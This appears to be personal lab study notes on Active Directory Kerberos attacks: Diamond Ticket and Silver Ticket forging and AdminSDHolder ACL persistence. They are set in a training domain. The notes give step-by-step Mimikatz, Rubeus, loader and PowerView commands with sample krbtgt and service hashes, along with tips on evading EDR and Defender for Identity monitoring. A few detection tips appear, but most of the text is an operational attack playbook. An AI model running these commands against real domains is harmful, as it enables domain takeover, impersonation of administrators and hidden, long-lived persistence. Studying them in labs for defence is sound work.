Rubeus uses Bouncy Castle cryptography library internally:


// Simplified conceptual flow

// 1. AES256-CTS Decryption

var cipher = new CtsBlockCipher(new AesEngine());

cipher.Init(false, new KeyParameter(krbtgtKey));  // false = decrypt mode

byte[] plaintext = new byte[ciphertext.Length];

cipher.ProcessBytes(ciphertext, 0, ciphertext.Length, plaintext, 0);

// 2. HMAC-SHA256 Signing

var hmac = new HMac(new Sha256Digest());

hmac.Init(new KeyParameter(krbtgtKey));

hmac.BlockUpdate(bufferToSign, 0, bufferToSign.Length);

byte[] checksum = new byte[hmac.GetMacSize()];

hmac.DoFinal(checksum, 0);

Data Flow Diagram


┌──────────────────────────┐

│ DC (Domain Controller)   │

│                          │

│ Receives: AS-REQ         │◄──── Current user credentials

│ Sends: AS-REP with TGT   │

└──────────────┬───────────┘

               │

               │ Legitimate TGT

               │ (KRBTGT-encrypted)

               ▼

┌──────────────────────────────────────┐

│       RUBEUS DIAMOND ENGINE           │

│                                       │

│ 1. Decrypt with /krbkey             │

│    └─ Gets plaintext TGT             │

│                                       │

│ 2. Extract PAC from TGT              │

│    └─ Gets logon info + checksums    │

│                                       │

│ 3. Modify:                           │

│    ├─ User RID → /ticketuserid       │

│    ├─ User name → /ticketuser        │

│    └─ Groups → /groups parameters    │

│                                       │

│ 4. Re-sign PAC:                      │

│    ├─ Server checksum (HMAC-SHA256)  │

│    └─ KDC checksum (HMAC-SHA256)     │

│                                       │

│ 5. Re-encrypt with KRBTGT key        │

│                                       │

│ 6. Export to /outfile:ticket.kirbi   │

└──────────────┬───────────────────────┘

               │

               │ Forged TGT

               │ (appears DC-signed)

               ▼

┌──────────────────────────┐

│  Use with Kerberos tools │

│  (Pass-the-Ticket, etc.) │

└──────────────────────────┘

Windows Example

🪜 Step-by-Step: Diamond Ticket Attack


🧩 Step 1: Dump the krbtgt AES key

If you have DA privileges or DCSync, use Mimikatz:


lsadump::lsa /inject

Look for:


AES256_hmac       : <long krbtgt AES key>

🧩 Step 2: Obtain a valid TGT

Two ways to do it:

Option A: Via /tgtdeleg (no password needed)

If you’re running code as a domain user and delegation is enabled:


Rubeus.exe tgtdeleg

This extracts a valid TGT from memory of the current user session.

Option B: With username & password

Use credentials of a domain user to request a TGT:


Rubeus.exe asktgt /user:studentx /password:StudentxPassword /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /enctype:aes /ptt

🧩 Step 3: Use Rubeus to modify the TGT → Diamond Ticket

Two main ways:

1. Using credentials of a domain user


Rubeus.exe diamond

/krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848

/user:studentx

/password:StudentxPassword

/enctype:aes

/ticketuser:administrator

/domain:dollarcorp.moneycorp.local

/dc:dcorp-dc.dollarcorp.moneycorp.local

/ticketuserid:500

/groups:512

/createnetonly:C:\Windows\System32\cmd.exe

/show

/ptt

same command in one line:

C:\AD\Tools\Rubeus.exe diamond /krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /user:studentx /password:StudentxPassword /enctype:aes /ticketuser:administrator /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
  • /krbkey → krbtgt AES key

  • /user + /password → valid domain user credentials

  • /ticketuser:administrator → impersonate admin

  • /groups:512 → add Domain Admins group

  • /createnetonly → spawn a new process (cmd) with this ticket

  • /ptt → pass-the-ticket (inject into current session)


2. Using delegated TGT (/tgtdeleg)


Rubeus.exe diamond

/krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848

/tgtdeleg

/enctype:aes

/ticketuser:administrator

/domain:dollarcorp.moneycorp.local

/dc:dcorp-dc.dollarcorp.moneycorp.local

/ticketuserid:500

/groups:512

/createnetonly:C:\Windows\System32\cmd.exe

/show

/ptt

same command in one line:


C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args diamond /krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /tgtdeleg /enctype:aes /ticketuser:administrator /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

Explanation:

Parameter | Description |
— | — |
/krbkey | krbtgt AES256 or RC4 key |
/tgtdeleg | lets Rubeus extract a valid TGT from memory (no creds needed if you already have user context). |
/ticketuser | User you want to impersonate (e.g., administrator) |
/ticketuserid | RID of user (500 = built-in Administrator) |
/groups | SID group list (512 = Domain Admins) |
/createnetonly | Spawn a new process with only this ticket |
/ptt | Pass-the-ticket (injects into memory) |

🧩 Step 4: Use the Diamond Ticket to Access Services

After /ptt, your ticket is injected into memory.

Now you can do:


dir \\dcorp-dc.dollarcorp.moneycorp.local\C$

Or open a privileged session:


C:\Windows\System32\cmd.exe

You’ll have DA privileges under the impersonated user.

Sliver Ticket Attack

Understanding The Core Concept

🚀 What is a Silver Ticket Attack?

A Silver Ticket attack is a Kerberos-based attack where an attacker forges a service ticket (TGS) to access a specific service (like SQL, HTTP, CIFS, etc.) on behalf of a legitimate user — without needing to interact with the domain controller after forging the ticket.

Unlike Golden Tickets, which give access to any service in the domain, Silver Tickets are scoped to a single SPN (service principal name) like CIFS/server, HTTP/server, etc.

👉 Golden ticket = forge TGT (Ticket Granting Ticket) → access to everything

👉 Silver ticket = forge TGS (service ticket) → access to specific service

Because the ticket is presented directly to the service (not to the KDC), Domain Controllers never see the request → fewer logs and much stealthier.

⚙️Why Silver Ticket Attack is more Stealthier than Golden Ticket Attack:

Silver Ticket attacks are considered more stealthy than Golden Ticket attacks because Golden Tickets rely on the krbtgt account (which resides on the KDC and is heavily monitored by security solutions like Microsoft Defender for Identity -MDI), whereas Silver Tickets are forged using service account credentials and only interact directly with the target service, making them less likely to trigger high-fidelity alerts.

You can forge a Silver Ticket for DC service accounts (like CIFS/DC01, LDAP/DC01, etc.), and it usually remains undetected by Microsoft Defender for Identity (MDI) because there’s no KDC involvement. That’s why Silver Tickets are considered more stealthy than Golden Tickets, even when targeting the DC itself.

⚡ How Kerberos works (simplified flow)

1️⃣ User authenticates and gets a TGT (Ticket Granting Ticket) from the KDC/Domain Controller (encrypted with KRBTGT account key).

2️⃣ User presents TGT to request a TGS (Service Ticket) from the KDC for the service (like CIFS/SQL).

3️⃣ User presents TGS to the service to access it.


🧩 Requirements Before Exploitation

  1. ✅ Domain SID (can be retrieved from any domain account using whoami /user)

  2. ✅ Hostname and SPN of target service (e.g., MSSQLSvc/db1.dollarcorp.moneycorp.local)

  3. ✅ NTLM hash of the target service account (db1$)

  4. ✅ Tool to forge and inject ticket (e.g., Rubeus, Mimikatz)

⚠ How the Silver Ticket attack happens

📌 Key idea

If an attacker compromises the password hash of a service account (e.g. the account under which SQL runs or HTTP runs), they can forge a valid service ticket (TGS) for that service.

👉 The TGS is encrypted/signed using the service account’s password hash (because that’s what the service can verify).

⚠ Common ways attackers obtain the service key

Method 1 — LSASS dump

Compromise a machine running the service.

Then dump LSASS.

Result:

🔑 Service account hash appears in memory.

Example:

  • SQL running as sqlsvc

  • IIS running as websvc

  • Computer account SERVER$


Method 2 — DCSync

If attacker has replication rights:

🧠 Domain Controller

➡️ returns password hashes for any account

So attacker can request:

🔑 DB1$

🔑 SQLSVC

🔑 DC01$

Then forge tickets.


Method 3 — Kerberoasting (what you suggested)

Yes — this works too.

Normal user can request:

🎟️ TGS for a service SPN

Example:

User requests:

🎫 TGS for MSSQLSvc/db1

KDC sends ticket encrypted with:

🔑 SQL service account key

Attacker then:

🧨 extracts encrypted blob

🧨 cracks it offline

If password is weak:

🔓 attacker gets service account hash

Then attacker can forge Silver Ticket.

So your idea is 100% valid.

📌 Steps

✅ 1. Attacker compromises service account credentials (NTLM hash / password)

  • For example: HTTP/srv-web.research.local or MSSQLSvc/sql.research.local

✅ 2. Attacker uses Mimikatz or similar tool to forge a TGS for that service

  • They craft a ticket claiming any user identity (even admin)

  • The ticket is encrypted with the service account’s NTLM hash so it looks valid to the service

✅ 3. Attacker presents this forged ticket directly to the target service

  • Since the service can decrypt and validate the ticket (it trusts its own key), access is granted!

✅ 4. No communication with Domain Controller is required during usage

  • So detection is harder because no logon event is generated at the DC.

Commonly Target Services in Silver Ticket:

SPN | Service Type | What It Enables (via Silver Ticket) |
— | — | — |
CIFS | SMB (File System) | Access to network file shares, remote file copy (e.g., via net use, dir \\host\share) |
HOST | Generic Windows Service SPN | Grants access to WinRM, Remote Desktop, Task Scheduler, Service Control Manager (SCM), etc. |
RPCSS | Remote Procedure Call Service | Enables WMI access, remote DCOM, and some ActiveX interactions |
HTTP | Web-based services | Used by PowerShell Remoting, WinRM, OWA, IIS apps — anything over HTTP/HTTPS |

💡 Bonus Tip: Many SPNs are tied to the computer account (hostname$) — so if you dump a machine’s hash, you can often target all these services on that host with forged Silver Tickets.

Most service accounts are AD user accounts with SPNs registered, which differentiates them from normal user accounts.

⚡ One subtle thing many people miss

Silver Tickets can impersonate users that don’t even exist.

Example:

👤 fakeadmin

If PAC says:

👥 Domain Admin

Service will still accept it.

Because it trusts the PAC inside the ticket.

🔍 Persistance Peroid of Golden Ticket

Silver Ticket Persistence

  • A Silver Ticket is forged using the NTLM hash of a service account or computer account (not krbtgt).

Persistence:

  • As long as the service account’s password (or machine account password) remains unchanged.

  • Service accounts: Many organizations set them with “Password never expires”, so a Silver Ticket could last indefinitely.

  • Machine accounts: By default, Windows rotates machine account passwords every 30 days, so Silver Ticket persistence for computer accounts is typically ~30 days. But for user-based service accounts (often set to “never expire”), persistence can be much longer.

🚫 Limitations

  • Works only for that service on that system (scoped).

  • If the service enforces PAC validation (with KDC), the forged ticket will fail.

  • You need the exact SPN and hash of the service account.

  • If the service logs user access or performs detailed auditing, the fake identity might be suspicious.

🛡️ Detection and Defense Tips (for Blue Teams)

  • Event ID 4624 on the target machine with unexpected usernames.

  • PAC validation failures (Event ID 4769 with KDC_ERR_PADATA_TYPE_NOSUPP).

  • Monitor for tickets used without a matching request to the KDC.

  • Service logs showing high-privilege users accessing them in unusual ways.

How the attack works ?? - Logic

⚙️ How it Works Internally

1. Valid Service Ticket (TGS)

A Service Ticket (TGS) is normally issued by the KDC (Domain Controller) for a specific service that the user wants to access.

Normal Kerberos Flow

👤 User → Requests access to a service (Example: SMB on DC01)

👤 User → asks KDC for a service ticket for that service

🧠 KDC verifies the user’s TGT and then creates a TGS

The generated ticket contains:

📦 Ticket Content

• User identity

• User SID

• Group memberships

• Privileges

• Logon metadata

This authorization block is called:

📜 PAC (Privilege Attribute Certificate)

After creating the ticket:

🧠 KDC

🔐 Encrypts the ticket using the service account key

Example

Service → CIFS/DC01

Service account → DC01$

So the ticket is encrypted using:

🔑 DC01$ password hash

The ticket is then returned to the user.

👤 User

➡️ Presents ticket directly to the service

🖥️ Service decrypts it and grants access.


Silver Ticket Concept

Instead of requesting a ticket from the KDC:

⚠️ Attacker creates the ticket offline

Because the attacker already has:

🔑 Service account NTLM/Kerberos key

So the attacker becomes capable of generating a valid-looking service ticket without contacting the KDC.


2. Encryption / Signing

Kerberos uses symmetric encryption to protect tickets.

Important rule of Kerberos:

🔑 Whoever owns the service key can produce a valid ticket for that service

This is because the service validates tickets using its own key.

Service validation process:

🖥️ Service receives ticket

Attempts decryption using its key

If decryption works:

✔ Ticket assumed valid

✔ Ticket assumed issued by the KDC

So if an attacker possesses:

🔑 Service account hash

They can generate a ticket that the service will successfully decrypt.

Example

Service → HTTP/dcorp-dc

Account → DC computer account

Attacker with the computer account hash can forge a valid HTTP service ticket.

Because the encryption key matches, the service trusts the ticket.


3. PAC (Privileged Attribute Certificate)

Inside every Kerberos ticket is the PAC.

The PAC contains authorization information, including:

👤 Username

🆔 User SID

👥 Group memberships

⚡ Privileges

Example PAC content

User → attacker

Groups →

• Domain Users

• Domain Admins

• Enterprise Admins


Important Kerberos Behavior

When the KDC creates the PAC:

🧠 KDC signs the PAC

However when the service receives the ticket:

🖥️ Service usually does not validate the PAC with the KDC

Instead the service performs:

1️⃣ Decrypt ticket

2️⃣ Extract PAC

3️⃣ Apply privileges

So if the attacker forges a PAC containing:

⚠️ Domain Admin privileges

The service will accept it as long as the ticket decrypts correctly.

This design choice exists because validating PAC with the DC for every authentication would create significant performance overhead.

Because of that design:

➡️ Services often trust the PAC blindly

➡️ Which makes Silver Tickets effective


4. Scope of Access

A Silver Ticket only works for the specific service whose key was used.

Reason:

🔐 Ticket encryption must match the service account key

Example

Forged ticket created for:

🎯 CIFS/DC01

Access granted to:

📂 SMB file shares

📂 Administrative shares

But if the attacker attempts to use that same ticket for:

❌ LDAP/DC01

❌ WinRM/DC01

❌ MSSQL/DC01

It fails because those services use different encryption keys.

So the scope is limited to:

🎯 one service → one server

Example scopes

Forged Ticket | Access Granted |
— | — |
CIFS/DC01 | SMB shares |
HOST/DC01 | WMI / scheduled tasks |
HTTP/WEB01 | Web authentication |
MSSQL/DB01 | Database access |

This is why Silver Tickets are service-scoped, unlike Golden Tickets which affect the entire domain.


5. Persistence

Silver Ticket persistence depends on the service account password lifetime.

Common scenarios:

🖥️ Machine accounts

• Password rotates automatically

• Default rotation ≈ 30 days

After password rotation:

🔑 Old service hash becomes invalid

🎫 Previously forged tickets stop working

However many environments use:

👤 Manual service accounts

Examples

  • sqlsvc

  • backupsrv

  • websvc

These accounts often have:

⚠️ Static passwords

⚠️ No rotation for years

If a Silver Ticket is forged using such an account:

➡️ Persistence can last months or years


🔑 Core Security Weakness

Silver Tickets work because of two Kerberos design assumptions:

1️⃣ Services trust tickets that decrypt correctly

2️⃣ Services often do not validate PAC with the KDC

So if an attacker knows:

🔑 Service account key

They effectively become:

⚠️ the ticket issuer for that service

Pac Validation

🧠 Who the TGS “belongs” to

A TGS (service ticket) is created by the KDC, but it is meant for a specific service.

Think of it like this:

🧠 KDC → creates ticket

🎫 Ticket → addressed to a service

🖥️ Service → is the only one who can decrypt it

Why?

Because the ticket is encrypted with:

🔑 service account key

Example:

Service: CIFS/DC01

Account: DC01$

So:

🧠 KDC encrypts ticket using → DC01$ key

Then:

👤 Client sends ticket → 🖥️ DC01

Only DC01 can decrypt it.


📦 Where the PAC comes from

Yes — the PAC is inserted by the KDC when it creates the ticket.

PAC contains:

👤 User identity

🆔 SID

👥 Group memberships

⚡ Privileges

So the ticket looks conceptually like:

🎫 Service Ticket

┣ 🔐 Encrypted part (for service)

┃ ┣ 📦 PAC

┃ ┣ User SID

┃ ┣ Groups

┃ ┗ Privileges


⚠️ What happens in a Silver Ticket

The attacker does not ask the KDC.

Instead:

👤 Attacker

➡️ creates fake ticket offline

Because attacker already knows:

🔑 service account hash

So the attacker can:

✔ build a ticket

✔ insert a fake PAC

✔ encrypt the ticket using the service key

Now the service receives it:

🖥️ Service

decrypts ticket successfully

reads PAC

applies privileges

Since the ticket decrypted correctly, the service assumes:

✔ ticket came from the KDC


🔍 Now your question: PAC validation

Some services can do PAC validation with the KDC.

Flow becomes:

🖥️ Service receives ticket

decrypts ticket

reads PAC

contacts KDC to verify PAC signature


🚨 What happens if the PAC was forged

If attacker modified the PAC:

📦 PAC contents ≠ KDC signature

So when service asks the KDC:

🖥️ Service → 🧠 KDC

“Is this PAC valid?”

KDC checks:

✔ PAC signature

✔ integrity

Since attacker does not have the KDC signing key:

❌ PAC verification fails

Result:

🚫 Authentication rejected


🔑 Why Silver Tickets often still work

Because in many cases:

🖥️ Service does NOT ask the KDC

Instead it does:

decrypt ticket ✔

trust PAC ✔

grant privileges ✔

So the forged PAC is never checked.

That’s the key weakness.


⚡ The Important Keys in Kerberos

There are two different keys involved, which is why this works.

Service ticket encryption

🔑 Service account key

PAC signature

🔑 KDC key

Attacker with only the service key can:

✔ encrypt the ticket

✔ make the service accept it

But attacker cannot produce a valid PAC signature, which is why PAC validation would stop the attack.

Windows Example - PoC

⚔️ Step-by-Step Exploitation


Step 1: Get Domain SID

Use whoami /user or Rubeus:


whoami /user

S-1-5-21-719815819-3726368948-3917688648-1001 -> User SID

S-1-5-21-719815819-3726368948-3917688648 -> Domain SID 

Step 2: Obtain NTLM Hash of Service Account

Suppose you’ve dumped credentials using DCSync, LSASS, or secretsdump:


db1$:aad3b435b51404eeaad3b435b51404ee:6e58e06e07588123319fe02feeab775d:::

We need the RC4/NTLM hash:


6e58e06e07588123319fe02feeab775d

Step 3: Identify Target SPN

Service running is MSSQL, target server is db1.

SPN becomes:


MSSQLSvc/db1.dollarcorp.moneycorp.local

Step 4: Forge Silver Ticket

Use Rubeus to forge the Silver Ticket:


Rubeus.exe silver /service:MSSQLSvc/db1.dollarcorp.moneycorp.local \

/rc4:6e58e06e07588123319fe02feeab775d \

/sid:S-1-5-21-719815819-3726368948-3917688648 \

/user:Administrator \

/domain:dollarcorp.moneycorp.local \

/ptt

OR

**#prefered**

C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args evasive-silver /service:http/dcorp-dc.dollarcorp.moneycorp.local \

/rc4:6e58e06e07588123319fe02feeab775d \

/sid:S-1-5-21-719815819-3726368948-3917688648 \

/ldap /user:Administrator /domain:dollarcorp.moneycorp.local /ptt 

✅ This creates a forged service ticket for the MSSQL service, impersonating Administrator, signed with the service account’s hash, and injects it into memory.

Part | Purpose |
— | — |
/service:http/dcorp-dc... | The SPN (Service Principal Name) for which the forged ticket is being created. In this case, it’s an HTTP service on the domain controller machine. |
/rc4:<hash> | The NTLM hash of the service account (in this case, probably the computer account of dcorp-dc). It is used to encrypt and sign the forged service ticket. |
/sid:<domain SID> | The SID of the domain. Required for crafting the user’s authorization data (PAC). |
/user:Administrator | The impersonated user for the forged ticket. You’re pretending to be Administrator. |
/domain:<domain FQDN> | The target domain. |
/ptt | “Pass-the-ticket”: directly injects the crafted ticket into memory. |
/ldap | Optional(Use only if you are forging ticket for DC service account): After forging the ticket, Rubeus performs an LDAP query to the Domain Controller, using the forged identity to fetch user attributes, group membership, etc. |

While forging silver ticket we mostly use RC4(NTLM) Key of the service not the AES key, because mostly of the service accounts still use RC4 instead of AES.

above hashes are got by dumping the lsass of DC, steps shown in golden ticket attack.

Now you can view whether the ticket has been generated and imported in session using klist command. But some heavily monitored EDRs have problem with klist command so to avoid this you can use rubeus klist option:


C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args klist

Step 5: Access the MSSQL Service

Now, you can connect to MSSQL (using tools like sqlcmd, PowerUpSQL, or AD module) as Administrator.


sqlcmd -S db1.dollarcorp.moneycorp.local

🎯 You’ll be granted access with Administrator rights, since the service reads the ticket and sees:

“This is from user Administrator” — and it was signed properly (with its own key), so it trusts it.

OR

Accessing DC as we have Service ticket of DC in previous step:

As we have got http service ticket so we can access dc using winrs:


winrs -r:dcorp.dollarcorp.moneycorp.local cmd

As the ticket is for http service only so when we try to list C$ on DC, we get error message because we don’t service ticket for CIFS service.


Difference Between Golden Silver & Diamond

🟡 Golden Ticket – No AS-REQ Trail

A Golden Ticket is created completely offline using the krbtgt account hash.

Normal Kerberos login flow

1️⃣ User authenticates to the DC

➡️ sends AS-REQ (Authentication Service Request)

2️⃣ DC responds

➡️ AS-REP containing the TGT

3️⃣ User uses that TGT later to request service tickets.

So the Domain Controller normally logs:

📜 Event 4768 — TGT issued


What happens in a Golden Ticket attack

In a Golden Ticket scenario:

👤 Attacker

🔧 forges a TGT offline

Because they already know:

🔑 krbtgt key

So the attacker skips the entire AS-REQ stage.

Flow becomes:

👤 Attacker

➡️ uses forged TGT directly to request services

From the DC’s perspective:

❌ No AS-REQ happened

❌ No TGT was issued

But suddenly the attacker requests services using a TGT that the DC never created.

So logs look like:

⚠️ Service ticket requests appear

⚠️ But no earlier TGT issuance

This gap is suspicious for defenders.

That’s what people mean by:

➡️ “Golden Ticket leaves no AS-REQ trail.”

🔵 Diamond Ticket – Uses a Legitimate TGT

A Diamond Ticket works differently.

Instead of forging the TGT entirely, the attacker:

1️⃣ Authenticates normally to the DC

2️⃣ Receives a legitimate TGT

3️⃣ Decrypts it locally

4️⃣ Modifies the PAC / privileges

5️⃣ Re-signs it using the krbtgt key

So the flow becomes:

👤 Attacker

➡️ normal login

➡️ DC issues TGT

The DC logs:

📜 Event 4768 (TGT issued)

Then the attacker modifies that TGT after receiving it.

From the DC’s perspective:

✔ TGT request exists

✔ timestamps look valid

✔ authentication looks normal

So there is no obvious missing event.

That’s why people say:

➡️ Diamond Tickets have valid timestamps and log evidence.

🎯 Simple Mental Model

Golden Ticket

🧠 DC never issued the TGT

🎫 Attacker fabricated it

🚨 Missing authentication logs

Diamond Ticket

🧠 DC really issued the TGT

🔧 Attacker modified it later

👀 Logs look legitimate

🧠 Kerberos Ticket Attacks Difference – Quick Mental Map

Attack | What is forged/modified | Key required | Contact with DC |
— | — | — | — |
Silver Ticket | TGS (service ticket) | Service account hash | ❌ Not required |
Golden Ticket | TGT forged from scratch | krbtgt hash | ❌ Not required |
Diamond Ticket | Legitimate TGT modified | krbtgt hash | ✔ Required initially |

🥇 Golden Ticket

Attack idea:

➡️ Create a fake TGT completely offline

Requirements:

🔑 krbtgt account hash

Why?

Because the Kerberos Domain Controller signs all TGTs with the krbtgt key.

So attacker does:

🛠 Forge TGT

📦 Insert PAC (Domain Admin etc.)

🔏 Sign with krbtgt key

Then use it like a real TGT:

👤 Attacker

➡️ TGS-REQ → DC

DC verifies signature → looks valid → issues service ticket.

Key characteristic:

No AS-REQ ever happened

The TGT was never issued by the DC.


🥈 Silver Ticket

Attack idea:

➡️ Forge the service ticket instead of the TGT

Requirements:

🔑 service account hash

Example services:

  • CIFS/DC01

• MSSQLSvc/db01

• HTTP/web01

Flow:

👤 Attacker

🛠 Forge TGS

Then present it directly to the service:

👤 Attacker → 🖥️ Service

Important:

❌ Domain Controller is never contacted.

The service just decrypts the ticket using its own key and trusts it.


💎 Diamond Ticket

Diamond Ticket sits between Golden and normal Kerberos.

Instead of creating a fake TGT:

➡️ Attacker gets a real TGT from the DC first

Steps:

1️⃣ Attacker authenticates normally

2️⃣ DC issues a legitimate TGT

3️⃣ Attacker decrypts it locally

4️⃣ Modifies the PAC (privileges)

5️⃣ Re-signs it using krbtgt key

Now attacker uses the modified ticket.

Key characteristics:

✔ TGT actually came from DC

✔ Valid timestamps

✔ Legitimate AS-REQ exists in logs

So logs look normal.


🔎 Visual Comparison

Normal Kerberos

User → AS-REQ → DC

DC → TGT issued


Golden Ticket

Attacker → forge TGT offline

No AS-REQ.


Diamond Ticket

Attacker → AS-REQ → DC

DC → legitimate TGT

Attacker → modifies TGT


Silver Ticket

Attacker → forge TGS

Attacker → directly to service

DC never involved.


🎯 One-line summary

Golden Ticket

➡️ Fake TGT

Silver Ticket

➡️ Fake service ticket

Diamond Ticket

➡️ Real TGT but modified

🥇 Golden vs Silver vs Diamond (Quick Table)

Attack | Uses Hash | Forged Part | Scope | Stealth |
— | — | — | — | — |
Silver Ticket | Service account hash | TGS only | One service on one machine | ⭐⭐ Very stealthy |
Golden Ticket | KRBTGT hash | Entire TGT | Entire domain | ⭐ Medium |
Diamond Ticket | KRBTGT hash + normal creds | PAC inside real TGT | Entire domain | ⭐⭐⭐ Most stealthy |

Persistence using ACL -AdminSDHolder - Domain Persistence

Understanding The Core Concept

🔐 What is AdminSDHolder?

AdminSDHolder is a special security object in Active Directory located in CN=System,DC=domain,DC=com.

Its main purpose is to define and protect the Access Control Lists (ACLs) of a set of high-privilege accounts and groups in Active Directory called Protected Groups.— like Domain Admins or Enterprise Admins.

Think of it like this:

“Whatever permissions are set on AdminSDHolder will be copied to all the VIP accounts (called protected accounts) regularly.”


🧱 What Are Protected Groups?

These groups are considered high-value targets and include:

Group Name | Privilege Level |
— | — |
Domain Admins | Full control of domain |
Enterprise Admins | Full control of forest |
Schema Admins | Modify schema |
Administrators | Local admin on all DCs |
Account Operators | User/group management |
Backup Operators | Backup/restore privilege |
Server Operators | Admin services on DC |
Print Operators | Load drivers (code execution) |
Replicator | Replication permission |
Domain Controllers | All DC computer objects |
Read-Only Domain Controllers | Read-only DCs |

These accounts are sensitive and thus protected from unauthorized ACL changes.


🔁 What is the SDProp Process?

SDProp = Security Descriptor Propagator, a built-in process that runs every 60 minutes by default on the PDC Emulator.

  • SDProp compares the ACL of AdminSDHolder with the ACLs of each protected group and its members.

  • If there’s a difference, SDProp overwrites the ACLs of protected objects with that of AdminSDHolder.

  • This includes users who are members of protected groups, even nested members.

➡️ ACLs of protected users get reset every hour to match AdminSDHolder.

📂 Structure


DC=domain,DC=local

│

├── OU=IT

│    ├── john (user)

│    ├── pc1 (computer)

│

├── OU=Admins

│    ├── admin1 (Domain Admin)

│

├── CN=System

│    └── CN=AdminSDHolder   ← ⭐ IMPORTANT

🧠 2. adminCount = 1 (Very Important Concept)

❓ Your Question

“Does adminCount = 1 mean object is protected by AdminSDHolder?”


✅ Short Answer


adminCount = 1  ⇒ YES, the object is (or was) protected

🧠 Full Explanation

🔐 What happens when a user becomes privileged?

Example:


john → added to Domain Admins

🔄 AD does:


adminCount = 1

Inheritance = disabled

ACL replaced by AdminSDHolder template

🔑 Meaning of adminCount


adminCount = 1 = Flag indicating SDProp protection applies

Example:-

If you compromise a Domain Controller and have Domain Admin rights, you can go to the properties of the Domain Admins group and add a user (e.g., student2) to the Security/Permissions tab (which contains all the ACLs), giving them FullControl over the group.

Although eviluser is not an actual member of the Domain Admins group, it can still fully control the group due to the permission he has.

The above examples showes that the add user student2 is not the part of domain admin group but still has full rights

However, because Domain Admins is a protected group, the SDProp process will run every 60 minutes on the PDC Emulator and overwrite the ACL of the Domain Admins group by copying the ACL from the AdminSDHolder object.

As a result, the custom permission given to student2 will be removed, and the ACL will be reset to its default protected state, thereby removing student2’s control over the Domain Admins group.

To bypass this automatic cleanup, an attacker can instead modify the ACL of the AdminSDHolder object itself and add student2 with FullControl there. Since AdminSDHolder is not reset by SDProp, this change persists, and every time SDProp runs, it will copy the modified ACL to all protected groups and users — thereby granting student2 persistent and hidden control over high-privileged accounts without needing group membership.

Adding user to AdminSDHolder:

SDProp overwritting the ACL of all the protected groups by copying from AdminSDHolder, ultimately adding the user to the ACL of the Domain Admin groups(now student 2 will be added to all protect groups - ACLs):

💥 Persistence via AdminSDHolder Abuse

If you gain Domain Admin privileges, you can modify the ACL of the AdminSDHolder object to backdoor access.

🎯 Attack Goals:

  • Get FullControl / WriteDACL / WriteOwner rights to privileged accounts (without being a visible group member).

  • Survive group membership cleanup or blue team detection.


🧠 How Attackers Abuse AdminSDHolder

🧠 Goal:

Grant student1 persistent, hidden access (like FullControl, ResetPassword, or WriteMembers) on protected groups (like Domain Admins) by modifying the AdminSDHolder object, and force SDProp to apply those changes immediately.


🔐 Step-by-Step Breakdown:


✅ Step 1: Add student1 to the ACL of AdminSDHolder (Persistence Setup)

🛠️ Using PowerView (as Domain Admin):


Add-DomainObjectAcl `

  -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' `

  -PrincipalIdentity student1 `

  -Rights All `

  -PrincipalDomain dollarcorp.moneycorp.local `

  -TargetDomain dollarcorp.moneycorp.local `

  -Verbose

🔹 This gives student1 FullControl on AdminSDHolder.

🔁 Which means: Every 60 minutes, SDProp will copy these permissions to:

  • Domain Admins

  • Enterprise Admins

  • Schema Admins

  • And all protected users

🔥 student1 now has full rights to all of them without being in any group.


Alternative: Use RACE Toolkit + ActiveDirectory Module


Set-DCPermissions `

  -Method AdminSDHolder `

  -SAMAccountName student1 `

  -Right GenericAll `

  -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' `

  -Verbose

🔹 This also adds GenericAll (same as FullControl) for student1 on AdminSDHolder.


Step 2 (Optional): Give Specific Permissions (e.g., ResetPassword, WriteMembers)

Instead of FullControl, you can grant specific rights:

ResetPassword:

WriteMembers (i.e., modify group memberships):


Add-DomainObjectAcl `

  -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' `

  -PrincipalIdentity student1 `

  -Rights ResetPassword `

  -PrincipalDomain dollarcorp.moneycorp.local `

  -TargetDomain dollarcorp.moneycorp.local `

  -Verbose

Add-DomainObjectAcl `

  -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' `

  -PrincipalIdentity student1 `

  -Rights WriteMembers `

  -PrincipalDomain dollarcorp.moneycorp.local `

  -TargetDomain dollarcorp.moneycorp.local `

  -Verbose

⏱️ Step 3: Force SDProp Immediately (Instead of Waiting 60 Mins)

Run this on the PDC Emulator to force SDProp now:

For Server 2008 and later:


Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose

For Pre-2008 systems:


Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose

🔁 This forces AdminSDHolder’s ACL to be applied to all protected users and groups immediately.


🔍 Step 4: Verify if student1 Got Added to Domain Admins ACL

Now you check if student1 is present in the ACL of Domain Admins:

🧰 Using PowerView (normal user):


Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |

  ForEach-Object {

    $_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier); $_

  } | ? { $_.IdentityName -match "student1" }

🧰 Using ActiveDirectory Module:


(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access |

  ? { $_.IdentityReference -match 'student1' }

✅ If the output shows entries for student1, it means SDProp has applied AdminSDHolder’s ACL to Domain Admins.


🧠 Summary:

Step | Action | Result |
— | — | — |
1️⃣ | Add student1 to AdminSDHolder ACL | Sets up persistence |
